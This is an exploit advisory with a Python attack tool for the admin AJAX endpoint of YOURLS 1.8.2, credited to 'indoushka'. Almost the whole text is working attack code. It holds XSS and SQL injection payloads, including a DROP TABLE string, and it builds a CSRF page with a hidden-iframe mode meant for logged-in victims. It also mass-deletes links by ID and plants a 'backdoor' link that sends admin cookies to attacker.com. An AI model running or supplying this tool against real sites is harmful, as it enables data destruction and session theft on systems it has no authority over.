📄 YOURLS 1.8.2 CSRF / IDOR / Missing Authorization

=============================================================================================================================================
    | # Title     : YOURLS 1.8.2 AJAX Endpoint Vulnerabilities                                                                                  |
    | # Author    : indoushka                                                                                                                   |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.2 (64 bits)                                                            |
    | # Vendor    : https://github.com/yourls/yourls/                                                                                           |
    =============================================================================================================================================
    
    [+] References : https://packetstorm.news/files/id/212395/ & 	CVE-2022-0088
    
    [+] Summary : Critical security vulnerabilities in YOURLS /admin/ajax.php endpoint that allow attackers 
                  to perform unauthorized actions, access other users' data, and potentially compromise the entire system.
    			 
    [+] Vulnerabilities: CSRF, IDOR, Missing Authorization, Missing Input Validation			 
    			  
    [+]  POC : python poc.py
    
    #!/usr/bin/env python3
    """
    Author: indoushka
    """
    
    import requests
    import json
    import sys
    import argparse
    import hashlib
    import re
    from urllib.parse import urljoin
    from colorama import Fore, Style, init
    
    # Initialize colorama
    init(autoreset=True)
    
    class YOURLS_Exploiter:
        def __init__(self, target_url, session_cookie=None, csrf_token=None):
            self.base_url = target_url.rstrip('/')
            self.ajax_url = urljoin(self.base_url, 'admin/ajax.php')
            self.session = requests.Session()
            
            if session_cookie:
                self.session.headers.update({'Cookie': session_cookie})
            
            self.session.headers.update({
                'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36',
                'Accept': 'application/json, text/javascript, */*; q=0.01',
                'Accept-Language': 'en-US,en;q=0.5',
                'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8',
                'X-Requested-With': 'XMLHttpRequest',
                'Referer': urljoin(self.base_url, 'admin/')
            })
            
            self.csrf_token = csrf_token
            self.vulnerabilities = []
        
        def print_banner(self):
            banner = f"""
    {Fore.RED}╔══════════════════════════════════════════════════════════════╗
    ║        YOURLS AJAX Endpoint Unified Exploitation Tool       ║
    ║        Multiple Vulnerabilities Exploiter                   ║
    ╚══════════════════════════════════════════════════════════════╝{Style.RESET_ALL}
            """
            print(banner)
        
        def detect_vulnerabilities(self):
            """Detect all potential vulnerabilities"""
            print(f"{Fore.CYAN}[*] Scanning for vulnerabilities...{Style.RESET_ALL}")
            
            # Test 1: CSRF Vulnerability
            self.test_csrf()
            
            # Test 2: IDOR Vulnerability
            self.test_idor()
            
            # Test 3: Missing Input Validation
            self.test_input_validation()
            
            # Test 4: Information Disclosure
            self.test_info_disclosure()
            
            # Test 5: SQL Injection
            self.test_sql_injection()
            
            # Print summary
            self.print_summary()
        
        def test_csrf(self):
            """Test for CSRF vulnerability"""
            print(f"\n{Fore.YELLOW}[+] Testing CSRF Protection...{Style.RESET_ALL}")
            
            # Try to make a request without CSRF token
            test_data = {
                'action': 'add',
                'url': 'http://test.com',
                'keyword': 'test123',
                'nonce': 'dummy_nonce'
            }
            
            try:
                response = self.session.post(self.ajax_url, data=test_data, timeout=10)
                
                if response.status_code == 200:
                    try:
                        resp_json = response.json()
                        if 'status' in resp_json and resp_json['status'] == 'success':
                            print(f"{Fore.RED}[!] CSRF VULNERABLE: Action executed without proper CSRF protection{Style.RESET_ALL}")
                            self.vulnerabilities.append({
                                'name': 'CSRF',
                                'severity': 'High',
                                'description': 'Actions can be performed without CSRF token validation'
                            })
                        else:
                            print(f"{Fore.GREEN}[-] CSRF protection appears to be working{Style.RESET_ALL}")
                    except:
                        print(f"{Fore.YELLOW}[-] Could not parse response{Style.RESET_ALL}")
            except Exception as e:
                print(f"{Fore.RED}[-] Error: {str(e)}{Style.RESET_ALL}")
        
        def test_idor(self):
            """Test for Insecure Direct Object Reference"""
            print(f"\n{Fore.YELLOW}[+] Testing IDOR Vulnerability...{Style.RESET_ALL}")
            
            # First, create a link to get a valid ID
            print(f"    Step 1: Creating test link...")
            
            create_data = {
                'action': 'add',
                'url': 'http://victim-test.com',
                'keyword': 'victimlink',
                'nonce': self.get_nonce('add_url')
            }
            
            try:
                response = self.session.post(self.ajax_url, data=create_data, timeout=10)
                
                if response.status_code == 200:
                    # Try to access other IDs
                    print(f"    Step 2: Attempting IDOR enumeration...")
                    
                    for link_id in range(1, 11):
                        test_data = {
                            'action': 'delete',
                            'id': link_id,
                            'keyword': f'test{link_id}',
                            'nonce': self.get_nonce(f'delete-link_{link_id}')
                        }
                        
                        response = self.session.post(self.ajax_url, data=test_data, timeout=5)
                        
                        if response.status_code == 200:
                            try:
                                resp_json = response.json()
                                if 'success' in resp_json and resp_json['success']:
                                    print(f"{Fore.RED}[!] IDOR VULNERABLE: Can delete link ID {link_id}{Style.RESET_ALL}")
                                    self.vulnerabilities.append({
                                        'name': 'IDOR',
                                        'severity': 'High',
                                        'description': f'Can access/delete link ID {link_id} without ownership verification'
                                    })
                                    break
                            except:
                                pass
            except Exception as e:
                print(f"{Fore.RED}[-] Error: {str(e)}{Style.RESET_ALL}")
        
        def test_input_validation(self):
            """Test for missing input validation"""
            print(f"\n{Fore.YELLOW}[+] Testing Input Validation...{Style.RESET_ALL}")
            
            # Test XSS in URL field
            xss_payloads = [
                'javascript:alert(document.cookie)',
                'data:text/html,<script>alert(1)</script>',
                '" onmouseover="alert(1)"',
                '<svg onload=alert(1)>'
            ]
            
            for payload in xss_payloads:
                test_data = {
                    'action': 'add',
                    'url': payload,
                    'keyword': f'xss{hashlib.md5(payload.encode()).hexdigest()[:6]}',
                    'nonce': self.get_nonce('add_url')
                }
                
                try:
                    response = self.session.post(self.ajax_url, data=test_data, timeout=5)
                    
                    if response.status_code == 200:
                        resp_text = response.text.lower()
                        if 'alert' in resp_text or 'script' in resp_text:
                            print(f"{Fore.RED}[!] XSS VULNERABLE: Payload accepted - {payload[:30]}...{Style.RESET_ALL}")
                            self.vulnerabilities.append({
                                'name': 'XSS',
                                'severity': 'Medium',
                                'description': f'XSS payload accepted: {payload[:50]}'
                            })
                            break
                except:
                    pass
            
            # Test SQL Injection
            sql_payloads = [
                "' OR '1'='1",
                "test'; DROP TABLE yourls_url; --",
                "1' UNION SELECT 1,2,3,4 --"
            ]
            
            for payload in sql_payloads:
                test_data = {
                    'action': 'add',
                    'url': f'http://{payload}.com',
                    'keyword': f'sql{hashlib.md5(payload.encode()).hexdigest()[:6]}',
                    'nonce': self.get_nonce('add_url')
                }
                
                try:
                    response = self.session.post(self.ajax_url, data=test_data, timeout=5)
                    
                    if 'sql' in response.text.lower() or 'union' in response.text.lower():
                        print(f"{Fore.RED}[!] SQL INJECTION POSSIBLE: Payload triggered response{Style.RESET_ALL}")
                        self.vulnerabilities.append({
                            'name': 'SQL Injection',
                            'severity': 'Critical',
                            'description': f'SQL payload may be injectable: {payload[:50]}'
                        })
                        break
                except:
                    pass
        
        def test_info_disclosure(self):
            """Test for information disclosure"""
            print(f"\n{Fore.YELLOW}[+] Testing Information Disclosure...{Style.RESET_ALL}")
            
            # Try to access error messages
            test_data = {
                'action': 'invalid_action',
                'nonce': 'invalid_nonce'
            }
            
            try:
                response = self.session.post(self.ajax_url, data=test_data, timeout=5)
                
                if response.status_code == 200:
                    # Look for error messages that reveal information
                    error_indicators = [
                        'mysql', 'database', 'sql', 'query failed',
                        'on line', 'stack trace', 'fatal error',
                        'warning:', 'notice:', 'undefined'
                    ]
                    
                    for indicator in error_indicators:
                        if indicator in response.text.lower():
                            print(f"{Fore.RED}[!] INFO DISCLOSURE: {indicator} found in response{Style.RESET_ALL}")
                            self.vulnerabilities.append({
                                'name': 'Information Disclosure',
                                'severity': 'Low',
                                'description': f'Sensitive information disclosed: {indicator}'
                            })
                            break
            except Exception as e:
                pass
        
        def test_sql_injection(self):
            """Test for SQL injection vulnerabilities"""
            print(f"\n{Fore.YELLOW}[+] Testing SQL Injection...{Style.RESET_ALL}")
            
            # Time-based SQL injection test
            time_payloads = [
                ("' OR SLEEP(5) --", "MySQL sleep"),
                ("'; WAITFOR DELAY '00:00:05' --", "MSSQL delay"),
                ("' AND 1=IF(1=1,SLEEP(5),0) --", "Conditional sleep")
            ]
            
            for payload, description in time_payloads:
                test_data = {
                    'action': 'add',
                    'url': f'http://test{payload}.com',
                    'keyword': f'time{hashlib.md5(payload.encode()).hexdigest()[:6]}',
                    'nonce': self.get_nonce('add_url')
                }
                
                try:
                    import time
                    start_time = time.time()
                    response = self.session.post(self.ajax_url, data=test_data, timeout=10)
                    end_time = time.time()
                    
                    if end_time - start_time > 4:
                        print(f"{Fore.RED}[!] BLIND SQL INJECTION: Time-based delay detected ({description}){Style.RESET_ALL}")
                        self.vulnerabilities.append({
                            'name': 'Blind SQL Injection',
                            'severity': 'Critical',
                            'description': f'Time-based SQLi: {description}'
                        })
                        break
                except requests.exceptions.Timeout:
                    print(f"{Fore.RED}[!] BLIND SQL INJECTION: Request timeout ({description}){Style.RESET_ALL}")
                    self.vulnerabilities.append({
                        'name': 'Blind SQL Injection',
                        'severity': 'Critical',
                        'description': f'Timeout on: {description}'
                    })
                    break
                except:
                    pass
        
        def get_nonce(self, action):
            """Extract or generate nonce"""
            if self.csrf_token:
                return self.csrf_token
            
            # Try to extract nonce from admin page
            try:
                admin_url = urljoin(self.base_url, 'admin/')
                response = self.session.get(admin_url, timeout=5)
                
                # Look for nonce in HTML
                nonce_patterns = [
                    r'name="nonce" value="([^"]+)"',
                    r'nonce=([a-f0-9]+)',
                    r'nonce:[\'"]([a-f0-9]+)[\'"]'
                ]
                
                for pattern in nonce_patterns:
                    matches = re.search(pattern, response.text, re.IGNORECASE)
                    if matches:
                        return matches.group(1)
            except:
                pass
            
            # Return dummy nonce for testing
            return 'test_nonce_123'
        
        def print_summary(self):
            """Print vulnerability summary"""
            print(f"\n{Fore.CYAN}{'='*60}{Style.RESET_ALL}")
            print(f"{Fore.CYAN}[*] VULNERABILITY SUMMARY{Style.RESET_ALL}")
            print(f"{Fore.CYAN}{'='*60}{Style.RESET_ALL}")
            
            if not self.vulnerabilities:
                print(f"{Fore.GREEN}[+] No vulnerabilities detected{Style.RESET_ALL}")
                return
            
            for i, vuln in enumerate(self.vulnerabilities, 1):
                color = Fore.RED if vuln['severity'] in ['High', 'Critical'] else Fore.YELLOW
                print(f"{color}[{i}] {vuln['name']} ({vuln['severity']}){Style.RESET_ALL}")
                print(f"    {vuln['description']}")
        
        def exploit_csrf(self, target_url, malicious_url, keyword):
            """Generate CSRF exploit"""
            print(f"\n{Fore.RED}[*] Generating CSRF Exploit...{Style.RESET_ALL}")
            
            exploit_html = f"""<!DOCTYPE html>
    <html>
    <head>
        <title>YOURLS CSRF Exploit</title>
    </head>
    <body>
        <h1>CSRF Attack - YOURLS Link Addition</h1>
        
        <form id="csrfForm" action="{self.ajax_url}" method="POST">
            <input type="hidden" name="action" value="add">
            <input type="hidden" name="url" value="{malicious_url}">
            <input type="hidden" name="keyword" value="{keyword}">
            <input type="hidden" name="nonce" value="{self.get_nonce('add_url')}">
        </form>
        
        <script>
            // Auto-submit the form
            document.getElementById('csrfForm').submit();
            
            // Alternative: Iframe injection
            function stealthSubmit() {{
                var iframe = document.createElement('iframe');
                iframe.style.display = 'none';
                iframe.name = 'csrfFrame';
                document.body.appendChild(iframe);
                
                var form = document.getElementById('csrfForm');
                form.target = 'csrfFrame';
                form.submit();
            }}
            
            // Uncomment for stealth mode
            // window.onload = stealthSubmit;
        </script>
        
        <p>If the form doesn't auto-submit, <a href="#" onclick="document.getElementById('csrfForm').submit(); return false;">click here</a>.</p>
    </body>
    </html>"""
            
            filename = f"csrf_exploit_{keyword}.html"
            with open(filename, 'w') as f:
                f.write(exploit_html)
            
            print(f"{Fore.GREEN}[+] CSRF exploit saved to: {filename}{Style.RESET_ALL}")
            print(f"{Fore.YELLOW}[*] Send this file to victim while they're logged into YOURLS{Style.RESET_ALL}")
            
            return filename
        
        def exploit_idor(self, start_id=1, end_id=100):
            """Exploit IDOR vulnerability to enumerate links"""
            print(f"\n{Fore.RED}[*] Exploiting IDOR Vulnerability...{Style.RESET_ALL}")
            
            found_links = []
            
            for link_id in range(start_id, end_id + 1):
                # Try to edit display
                test_data = {
                    'action': 'edit_display',
                    'id': link_id,
                    'keyword': f'test{link_id}',
                    'nonce': self.get_nonce(f'edit-link_{link_id}')
                }
                
                try:
                    response = self.session.post(self.ajax_url, data=test_data, timeout=5)
                    
                    if response.status_code == 200:
                        try:
                            resp_json = response.json()
                            if 'html' in resp_json and 'keyword' in resp_json['html'].lower():
                                print(f"{Fore.GREEN}[+] Found link ID {link_id}{Style.RESET_ALL}")
                                found_links.append({
                                    'id': link_id,
                                    'html': resp_json['html'][:100]
                                })
                        except:
                            if 'keyword' in response.text.lower() or 'url' in response.text.lower():
                                print(f"{Fore.GREEN}[+] Possible link ID {link_id}{Style.RESET_ALL}")
                                found_links.append({
                                    'id': link_id,
                                    'response': response.text[:100]
                                })
                except:
                    pass
            
            if found_links:
                print(f"\n{Fore.GREEN}[+] Found {len(found_links)} accessible links{Style.RESET_ALL}")
                for link in found_links:
                    print(f"    ID {link['id']}: {link.get('html', link.get('response', 'No data'))}")
            
            return found_links
        
        def mass_link_deletion(self, start_id=1, end_id=50):
            """Mass deletion via IDOR"""
            print(f"\n{Fore.RED}[*] Attempting Mass Link Deletion...{Style.RESET_ALL}")
            
            deleted = []
            
            for link_id in range(start_id, end_id + 1):
                test_data = {
                    'action': 'delete',
                    'id': link_id,
                    'keyword': f'del{link_id}',
                    'nonce': self.get_nonce(f'delete-link_{link_id}')
                }
                
                try:
                    response = self.session.post(self.ajax_url, data=test_data, timeout=3)
                    
                    if response.status_code == 200:
                        try:
                            resp_json = response.json()
                            if 'success' in resp_json and resp_json['success']:
                                print(f"{Fore.RED}[!] Deleted link ID {link_id}{Style.RESET_ALL}")
                                deleted.append(link_id)
                        except:
                            if 'success' in response.text.lower():
                                print(f"{Fore.RED}[!] Possibly deleted link ID {link_id}{Style.RESET_ALL}")
                                deleted.append(link_id)
                except:
                    pass
            
            return deleted
        
        def create_backdoor(self):
            """Create persistent backdoor via XSS or malicious link"""
            print(f"\n{Fore.RED}[*] Creating Persistent Backdoor...{Style.RESET_ALL}")
            
            # Create malicious shortened link with XSS
            xss_payload = "javascript:fetch('https://attacker.com/steal?cookie='+document.cookie)"
            
            backdoor_data = {
                'action': 'add',
                'url': xss_payload,
                'keyword': 'admin-panel',
                'nonce': self.get_nonce('add_url')
            }
            
            try:
                response = self.session.post(self.ajax_url, data=backdoor_data, timeout=10)
                
                if response.status_code == 200:
                    print(f"{Fore.GREEN}[+] Backdoor link created: {self.base_url}/admin-panel{Style.RESET_ALL}")
                    print(f"{Fore.YELLOW}[*] When admin visits this link, cookies will be sent to attacker{Style.RESET_ALL}")
            except Exception as e:
                print(f"{Fore.RED}[-] Failed to create backdoor: {str(e)}{Style.RESET_ALL}")
    
    def main():
        parser = argparse.ArgumentParser(
            description="YOURLS AJAX Endpoint Exploitation Tool",
            formatter_class=argparse.RawDescriptionHelpFormatter
        )
        
        parser.add_argument("-u", "--url", required=True, help="Target YOURLS base URL")
        parser.add_argument("-c", "--cookie", help="Session cookie (e.g., PHPSESSID=abc123)")
        parser.add_argument("-t", "--token", help="CSRF/nonce token")
        parser.add_argument("-s", "--scan", action="store_true", help="Scan for vulnerabilities")
        parser.add_argument("-x", "--exploit", choices=['csrf', 'idor', 'mass', 'backdoor'], help="Exploit specific vulnerability")
        parser.add_argument("--csrf-url", help="URL for CSRF exploit (with --exploit csrf)")
        parser.add_argument("--keyword", help="Custom keyword for links")
        parser.add_argument("--start-id", type=int, default=1, help="Start ID for IDOR enumeration")
        parser.add_argument("--end-id", type=int, default=50, help="End ID for IDOR enumeration")
        
        args = parser.parse_args()
        
        if not args.scan and not args.exploit:
            print(f"{Fore.RED}[-] Please specify --scan or --exploit{Style.RESET_ALL}")
            return
        
        # Initialize exploiter
        exploiter = YOURLS_Exploiter(args.url, args.cookie, args.token)
        exploiter.print_banner()
        
        if args.scan:
            exploiter.detect_vulnerabilities()
        
        if args.exploit:
            if args.exploit == 'csrf':
                if not args.csrf_url:
                    print(f"{Fore.RED}[-] Please specify --csrf-url for CSRF exploit{Style.RESET_ALL}")
                    return
                
                keyword = args.keyword or f"mal_{hashlib.md5(args.csrf_url.encode()).hexdigest()[:8]}"
                exploiter.exploit_csrf(args.url, args.csrf_url, keyword)
            
            elif args.exploit == 'idor':
                found = exploiter.exploit_idor(args.start_id, args.end_id)
                if found:
                    print(f"\n{Fore.GREEN}[+] IDOR exploitation complete{Style.RESET_ALL}")
            
            elif args.exploit == 'mass':
                confirm = input(f"{Fore.RED}[!] This will attempt to delete multiple links. Continue? (y/n): {Style.RESET_ALL}")
                if confirm.lower() == 'y':
                    deleted = exploiter.mass_link_deletion(args.start_id, args.end_id)
                    print(f"\n{Fore.RED}[!] Attempted to delete {len(deleted)} links{Style.RESET_ALL}")
            
            elif args.exploit == 'backdoor':
                exploiter.create_backdoor()
    
    if __name__ == "__main__":
        main()
    	
    	
    Greetings to :=====================================================================================
    jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
    ===================================================================================================